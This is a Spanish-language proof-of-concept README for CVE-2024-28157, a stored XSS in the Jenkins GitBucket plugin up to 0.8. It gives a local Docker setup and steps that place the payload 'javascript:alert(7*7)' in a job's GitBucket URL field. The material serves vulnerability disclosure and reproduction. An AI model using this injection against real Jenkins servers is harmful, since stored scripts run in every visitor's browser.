PoC_CVE-2024-28157

CVE-2024-28157 - XSS almacenado en el plugin GitBucket de Jenkins <= 0.8

El campo URL de GitBucket en la configuración del trabajo no está sanitizado. Establecerlo a una URI javascript: almacena el payload y lo ejecuta en el navegador de cualquier visitante cuando abre la página de estado del proyecto.

Informe https://report-cve-2024-28157.vercel.app/

Configuración

bash poc/download-plugins
docker compose up --build

Jenkins se ejecuta en http://localhost:8080 Desbloquear con la contraseña de administrador de: docker compose logs jenkins

Reproducir

1. Crear un proyecto Freestyle
2. Configure > GitBucket > URL: javascript:alert(7*7)
3. Guardar, luego visitar la página del proyecto
4. La alerta se dispara con 49 (7*7)

Las capturas de pantalla están en poc/screenshots/

Referencias

NVD https://nvd.nist.gov/vuln/detail/CVE-2024-28157